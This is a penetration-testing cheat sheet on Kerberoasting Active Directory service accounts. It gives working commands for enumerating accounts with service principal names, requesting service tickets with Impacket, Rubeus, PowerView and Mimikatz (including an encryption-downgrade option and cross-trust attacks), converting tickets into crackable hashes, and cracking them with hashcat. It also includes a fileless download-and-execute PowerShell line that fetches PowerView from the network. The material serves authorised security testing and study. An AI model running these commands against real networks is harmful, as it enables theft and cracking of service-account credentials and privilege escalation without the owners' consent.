PRIMARY CATEGORY → KERBEROAST
Theory
Kerberoasting Attack
Enumeration - UNIX-like
Ldapsearch
Filter →
'(&(ObjectClass=User)(servicePrincipalName=*))'
ldapsearch -LLL -x -H 'ldap://<TARGET>' -D '<USER>@<DOMAIN>' -w '<PASSWD>' -b 'DC=<DOMAIN>,DC=<TLD>' '(&(ObjectCategory=person)(ObjectClass=user)(servicePrincipalName=*))' samAccountName dn userPrincipalName servicePrincipalName | grep -viP --color -- '^#.+$' Impacket’s GetUserSPNs.py
GetUserSPNs.py -dc-ip <TARGET> '<DOMAIN>/<USER>:<PASSWD>'Go-Windapsearch
windapsearch --domain '<DOMAIN>' --dc '<DC>' --username '<USER>' --password '<PASSWD>' --module user-spnsEnumeration - Windows
AD Powershell Module
Setup
From a domain-joined host
Import-Module ActiveDirectoryUsage
Get-ADUser -Properties * -LdapFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(UserA
ccountControl:1.2.840.113556.1.4.803:=2)))' | Select-Object samAccountname, servicePrincipalNameDSQuery
Local privileges required
dsquery * -Filter "(&(ObjectCategory=Person)(ObjectClass=user)(servicePrincipalName=*))" -Attr samAccountName servicePrincipalNamePowerview
Setup
- Fileless
IEX (New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1')- Touching Disk
IWR -UseBasicParsing -Uri 'https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1' -OutFile '.\powerview.ps1'Import-Module .\powerview.ps1Usage
Get-DomainUser
Get-DomainUser -Spn | Select-Object samAccountName, ServicePrincipalName- Cross Forest Trust
Get-DomainUser -Spn -Domain '<TRUST_DOMAIN>' | Select samAccountName, ServicePrincipalNameSetspn.exe
setspn.exe -Q */*Kerberoasting - UNIX-like
Impacket’s GetUserSPNs.py
GetUserSPNs.py -dc-ip <TARGET> -request -outputfile <OUTPUTFILE> '<DOMAIN>/<USER>:<PASSWD>'Single TGS_REQ for a certain Service Account
GetUserSPNs.py -dc-ip <TARGET> -request-user <USER> -outputfile <OUTPUTFILE> '<DOMAIN>/<USER>:<PASSWD>'Kerberoasting - Windows
Rubeus
Kerberoasting Summary
W/O requesting any Service Ticket
.\Rubeus.exe kerberoast /statsWe gather information such as the number of kerberoastable users and their support encryption type and password last set attributes
Kerberoasting for Privileged/Protected Service Accounts
LDAP Filter →
adminCount=1
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrapKerberoasting for a certain User Account
.\Rubeus.exe kerberoast /user:<USER> /nowrap- Forcing Downgrade Encryption
Valid for < Windows Server 2019
.\Rubeus.exe kerberoast /user:<USER> /tgtdeleg /nowrapPowerview
Get-DomainUser + Get-DomainSPNTicket
Get-DomainUser -Identity <USER> | Get-DomainSPNTicket -Format HashcatExport all Service Tickets to a CSV File
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformationSetSPN.exe + Powershell (.NET Class) + Mimikatz
Target a Service (User) Account’s SPN
SetSPN.exe
setspn.exe -Q */*Request a ST via TGS_REQ for a certain SPN and Inject it in Memory
System.IdentityModel.Tokens.KerberosRequestorSecurityToken.Net Module via Powershell**
Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"Retrieve all Service Tickets - SetSPN + .NET Class
The oneliner below request a Service Ticket for each listed service account by setspn.exe via the
System.IdentityModel.Tokens.KerberosRequestorSecurityToken.Net classsetspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Extract Service Tickets from Memory with Mimikatz
base64 /out:true
kerberos::list /exportConverting Base64 Blob into a Kirbi File
base64 -d < <( echo -n "<BASE64_BLOB>" | tr -d '\n' ) > <OUTPUTFILE>.kirbiExtracting a crackable hash format from a Kirbi file
python2.7 kirbi2john.py <KIRBI_FILE>The above command extracts a crackable hash format for John the Ripper
In order to convert the resulting hash in a Hashcat crackable hash proceed as follows
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' <JOHN_HASH> > <HASHCAT_HASH>Cracking the Kerberoasting Hash
Hashcat
Hashcat Type for RC4_HMAC_MD5 → 13100
hashcat --force -O --attack-mode 0 --hash-type 13100 <HASH> <WORDLIST>Info
If the flags related to AES encryption are set in the UserAccountControl attribute of the given service account (user account), the KDC’s TGS will not encrypt the requested service ticket using RC4 but rather with the AES encryption algorithms, namely, AES256 and AES512
However, an operator could perform downgrade encryption by setting the encryption field with RC4_HMAC_MD5 as value in the TGS_REQ
Then, the KDC will encrypt the service ticket with the encryption algorithm specified by the kerberos client, regardless of the flags set in the UserAccountControl attribute of the service account
This behavior changes as Windows Server 2019, where the DC encrypts the service ticket with the most reliable encryption algorithm i.e. AES256. It also ignores any encryption downgrade performed by a kerberos client
Kerberoasting Across-Trust - UNIX-like
Enumeration
Impacket’s GetUserSPNs.py
GetUserSPNs.py -target-domain '<TRUSTED_DOMAIN>' '<TRUSTEE_DOMAIN>/<USER>:<PASSWD>'Kerberoasting
Impacket’s GetUserSPNs.py
GetUserSPNs.py -target-domain '<TRUSTED_DOMAIN>' -request -outputfile '<OUTPUT_FILE>' '<TRUSTEE_DOMAIN>/<USER>:<PASSWD>'Single TGS_REQ for a certain Service Account
GetUserSPNs.py -target-domain '<TRUSTED_DOMAIN>' -request-user '<SERVICE_ACCOUNT>' -outputfile '<OUTPUT_FILE>' '<TRUSTEE_DOMAIN>/<USER>:<PASSWD>'Kerberoasting Across-Trust - Windows
Enumeration
Powerview
Get-DomainUser -Domain '<TRUSTED_DOMAIN>' -SPN | Select samAccountName, servicePrincipalNameKerberoasting
Powerview
Get-DomainUser -Domain '<TRUSTED_DOMAIN>' -SPN | Get-DomainSPNTicket -Format HashcatRubeus
.\Rubeus.exe kerberoast /user:<USER> /domain:<TRUSTED_DOMAIN> /nowrapCracking
Hashcat
Hashcat Type → 13100
Usage
hashcat --force -O --attack-mode 0 --hash-type 13100 <HASH> <WORDLIST>Display Result
hashcat --force -O --attack-mode 0 --hash-type 13100 <HASH> <WORDLIST> --show